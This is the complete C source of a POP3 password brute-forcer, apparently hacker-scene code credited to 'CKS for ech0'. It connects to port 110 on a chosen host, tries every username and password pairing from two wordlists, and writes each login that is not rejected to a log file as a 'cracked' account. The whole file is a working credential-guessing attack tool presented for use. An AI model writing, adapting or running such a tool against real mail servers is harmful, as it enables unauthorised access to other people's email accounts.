/* A program that takes a string from the first wordlist as the username ,

   another from the second wordlist as the password , and brute forcing

   POP3 .

                    < Coded by CKS for ech0 >                         */ 



#include <fcntl.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <signal.h>

#include <stdio.h>

#include <string.h>

#include <netdb.h>

#include <ctype.h>

#include <arpa/nameser.h>

#include <sys/stat.h>

#include <strings.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/socket.h>

#include "ansi.h"



main(int argc, char *argv[])

{

FILE *fp;

FILE *fp1;

FILE *newfile;

char *finans;

char wordlst1[1024];

char wordlst2[1024];

char userid[1024];

char passwd[1024];

int sock;

int crkcount=0;

struct in_addr addr;

struct sockaddr_in sin;

struct hostent *he;

unsigned long start;

unsigned long end;

unsigned long counter;

char *buffstr;

char buffer[1024];

char rebuffer[1024];

char banner[1024];





        if(argc < 5)

         {

          printf("\nUsage : hostname/IP wordlist1 wordlist2 logfile\n\n");

          printf("        wordlist1 is the 1st existing wordlist\n");

          printf("        wordlist2 is the 2nd existing wordlist\n");

          printf("        logfile is file u wanna log the results\n\n");

          exit(0);

         }



         if ((he=gethostbyname(argv[1])) == NULL)

            {

            herror("gethostbyname");

            exit(0);

            }



        if((fp = fopen(argv[2], "r")) == NULL){

                printf("error: input file does not exist\n");

                exit(0);

        }

        if((fp1 = fopen(argv[3], "r")) == NULL){

                printf("error: input file does not exist\n");

                exit(0);

        }

        newfile=fopen(argv[4],"a");



        system("clear");

        printf("\n\n\n\n\n\t\t [ ech0's POP3-hack progz ] By CKS\n\n\n");



        start=inet_addr(argv[1]);

        counter = ntohl(start);



        while(fscanf(fp, "%s", &wordlst1) != EOF)

             {

             while(fscanf(fp1, "%s", &wordlst2) != EOF) 

                  {

                  sock=socket(AF_INET, SOCK_STREAM, 0);

                  bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);

                  sin.sin_family=AF_INET;

                  sin.sin_port=htons(110);

                  if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)

                     {

                     perror("connect");

                     exit(0);

                     }

                  recv(sock, banner, sizeof(banner),0);

                  strcpy(userid,"user ");

                  strcat(userid,wordlst1);

                  strcat(userid,"\n");

                  goxy(9,1);

                  printf("Sending.....  user %s               ",wordlst1);

                  send(sock, userid,strlen(userid),0);

                  recv(sock, rebuffer, sizeof(rebuffer),0);

                  strcpy(passwd,"pass ");

                  strcat(passwd,wordlst2);

                  strcat(passwd,"\n");

                  printf("\nSending.....  pass %s             ",wordlst2);

                  send(sock, passwd,strlen(passwd),0);

                  recv(sock, buffer, sizeof(buffer),0);

                  printf("\n\nResult : ");

                  buffstr = strstr(buffer,"-ERR");

                  if( buffstr != NULL)

                     {

                     printf("Wrong  ");

                     }

                  else

                     {

                     fprintf(newfile,"\nUsername : %sPassword : %s",userid,passwd);

                     printf("Correct");

                     crkcount++;

                     }

                   

                  goxy(15,1);

                  printf("%d account(s) cracked .      ",crkcount);       

                  close(sock);

                  }

             rewind(fp1); 

             }

  

fclose(fp);

fclose(fp1);

fclose(newfile);

printf("\n\nDone.....check out %s\n\n",argv[4]);

}
